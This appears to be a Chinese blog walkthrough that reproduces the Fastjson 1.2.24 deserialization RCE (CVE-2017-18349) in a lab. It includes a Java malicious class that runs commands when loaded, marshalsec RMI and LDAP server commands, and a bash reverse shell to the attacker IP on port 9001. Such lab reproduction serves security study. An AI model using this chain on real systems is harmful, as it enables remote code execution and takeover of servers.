image-20230417145033021

先了解一下着几个等会复现需要用到的东西

干货|最全fastjson漏洞复现与绕过

CVE-2017-18349即Fastjson1.2.24 反序列化漏洞RCE

ubuntu: 靶机 192.168.142.137

kali: 攻击机 192.168.142.129

漏洞原理

fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。

影响版本为 fastjson < 1.2.25

漏洞复现

首先进入fastjson 1.2.24的docker环境,使用java -version查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

安装javac环境,这里直接使用20版本替换102

1
2
3
4
5
6
7
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

image-20230417145253381

攻击机的java版本必须是java8

打开docker靶机

image-20230417151012246

编辑恶意类代码,起名为evilclass.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch(Exception e) {
// do nothing
}
}
}

这里的 String[] commands可以进行修改自己想要执行的命令。这里是在/tmp目录下创建一个test文件

使用javac编译evilclass.java文件生成evilclass.class

image-20230417152951359

这里的化想要搭建一个RMI服务,首先下载marshalsec

1
git clone https://github.com/mbechler/marshalsec.git

安装maven并编译marshalsec生成jar

1
2
apt-get install maven
mvn clean package -DskipTests

image-20230417153908651

我们进入到marshalsec的target目录里面进行查看已经生成了marshalsec-0.0.3.3-SNAPSHOT-all.jar,然后使用marshalsec搭建一个RMI服务器,这里的ip就是你攻击机的ip,端口可以随意

这里也可以使用启动LDAP服务,效果是一样的

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.1.8/#evilclass"9999java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://192.168.1.8/#evilclass"9999

这里的IP是攻击机ip,端口随意

这里我们使用RMI服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.129:8000/#evilclass" 9999

image-20230417155734179

先开启一个python服务来进行文件的上传,如何RMI使用的是python的8000端口

image-20230417155831781

开启RMI服务

image-20230417155903891

抓包进行发包

如何就会发现成功了

image-20230417155934820

image-20230417160000493

image-20230417160023376

这里就和刚开始的时候evilclass.java里写的一样了,就是往/tmp目录里写一个test文件

如果要反弹shell的化,只需要修改commands里的内容就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.Runtime;
import java.lang.Process;
public class evilclass{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.142.129/9001 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch(Exception e) {
// do nothing
}
}
}

image-20230417160907087

成功将shell反弹

fastjson的漏洞复现的话都是这个方向,或者修改com.sun.rowset.JdbcRowSetImpl这些东西,其他的就不进行复现了

下面就是参考链接了 其他不懂的版本可以进行查看

干货|最全fastjson漏洞复现与绕过

Fastjson漏洞复现笔记